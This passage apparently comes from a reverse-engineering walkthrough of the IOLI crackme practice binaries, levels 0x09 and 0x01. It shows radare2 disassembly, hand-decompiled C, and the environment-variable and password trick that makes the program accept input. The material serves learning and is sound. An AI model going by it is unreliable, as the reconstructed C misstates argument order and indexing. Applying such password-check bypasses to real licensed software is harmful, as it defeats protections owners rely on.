    for (local_ch = 0; local_ch < 9; local_ch++) {
        if (local_8h & 1 == 0) {
            if((int)*0x08049ff0 == 1) {
                printf("Password OK!\n");
            }
            exit(0);
        }
    }
}

:> pdf @ sub.strncmp_4d4
/ (fcn) sub.strncmp_4d4 137
|   sub.strncmp_4d4 (int arg_ch);
|           ; var int local_ch @ ebp-0xc
|           ; var int local_8h @ ebp-0x8
|           ; arg int arg_ch @ ebp+0xc
|           0x080484d4      55             push ebp
|           0x080484d5      89e5           mov ebp, esp
|           0x080484d7      53             push ebx
|           0x080484d8      83ec14         sub esp, 0x14
|           0x080484db      e886020000     call pic
|           0x080484e0      81c3141b0000   add ebx, 0x1b14
|           0x080484e6      c745f8000000.  mov dword [local_8h], 0
|       .-> 0x080484ed      8b45f8         mov eax, dword [local_8h]
|       :   0x080484f0      8d1485000000.  lea edx, [eax*4]
|       :   0x080484f7      8b450c         mov eax, dword [arg_ch]
|       :   0x080484fa      833c0200       cmp dword [edx + eax], 0
|      ,==< 0x080484fe      7448           je 0x8048548
|      |:   0x08048500      8b45f8         mov eax, dword [local_8h]
|      |:   0x08048503      8d1485000000.  lea edx, [eax*4]
|      |:   0x0804850a      8b4d0c         mov ecx, dword [arg_ch]
|      |:   0x0804850d      8d45f8         lea eax, [local_8h]
|      |:   0x08048510      ff00           inc dword [eax]
|      |:   0x08048512      8d8344e8ffff   lea eax, [ebx - 0x17bc]
|      |:   0x08048518      c74424080300.  mov dword [esp + 8], 3
|      |:   0x08048520      89442404       mov dword [esp + 4], eax
|      |:   0x08048524      8b040a         mov eax, dword [edx + ecx]
|      |:   0x08048527      890424         mov dword [esp], eax
|      |:   0x0804852a      e8d1feffff     call sym.imp.strncmp
|      |:   0x0804852f      85c0           test eax, eax
|      |`=< 0x08048531      75ba           jne 0x80484ed
|      |    0x08048533      8b83fcffffff   mov eax, dword [ebx - 4]
|      |    0x08048539      c70001000000   mov dword [eax], 1
|      |    0x0804853f      c745f4010000.  mov dword [local_ch], 1
|      |,=< 0x08048546      eb0c           jmp 0x8048554
|      `--> 0x08048548      c70424ffffff.  mov dword [esp], 0xffffffff
|       |   0x0804854f      e8bcfeffff     call sym.imp.exit
|       `-> 0x08048554      8b45f4         mov eax, dword [local_ch]
|           0x08048557      83c414         add esp, 0x14
|           0x0804855a      5b             pop ebx
|           0x0804855b      5d             pop ebp
\           0x0804855c      c3             ret
:> ps @ section_end..got - 0x17bc
LOLO

int strncmp_4d4(char *input, char *envp[]) {
    int i; //local_8h
    int local_ch;
    for (i=0;;i++) {
        if (envp[i * 4] == 0) {
            exit(0);
        }
        if (0 == strncmp(3, "LOLO", envp[i * 4])) {
            *0x08049ff0 = 1;
            local_ch = 1;
            break;
        }
    }
    return local_ch;
}

$ LOL= ./crackme0x09 
IOLI Crackme Level 0x09
Password: 88
Password OK!
$ LOLTHATSFUN=1 ./crackme0x09 
IOLI Crackme Level 0x09
Password: 19621234
Password OK!

[0x080483e4]> pdf @ main
            ;-- main:
/ (fcn) main 113
|   main ();
|           ; var int pInput @ ebp-0x4
|              ; DATA XREF from 0x08048347 (entry0)
|           0x080483e4      55             push ebp
|           0x080483e5      89e5           mov ebp, esp
|           0x080483e7      83ec18         sub esp, 0x18
|           0x080483ea      83e4f0         and esp, 0xfffffff0
|           0x080483ed      b800000000     mov eax, 0
|           0x080483f2      83c00f         add eax, 0xf
|           0x080483f5      83c00f         add eax, 0xf
|           0x080483f8      c1e804         shr eax, 4
|           0x080483fb      c1e004         shl eax, 4
|           0x080483fe      29c4           sub esp, eax
|           0x08048400      c70424288504.  mov dword [esp], str.IOLI_Crackme_Level_0x01 ; [0x8048528:4]=0x494c4f49 ; "IOLI Crackme Level 0x01\n"
|           0x08048407      e810ffffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804840c      c70424418504.  mov dword [esp], str.Password: ; [0x8048541:4]=0x73736150 ; "Password: "
|           0x08048413      e804ffffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048418      8d45fc         lea eax, [pInput]
|           0x0804841b      89442404       mov dword [esp + 4], eax
|           0x0804841f      c704244c8504.  mov dword [esp], 0x804854c  ; [0x804854c:4]=0x49006425
|           0x08048426      e8e1feffff     call sym.imp.scanf          ; int scanf(const char *format)
|           0x0804842b      817dfc9a1400.  cmp dword [pInput], 0x149a  ; [0x149a:4]=-1
|       ,=< 0x08048432      740e           je 0x8048442
[0x080483e4]> ps @ 0x804854c
%d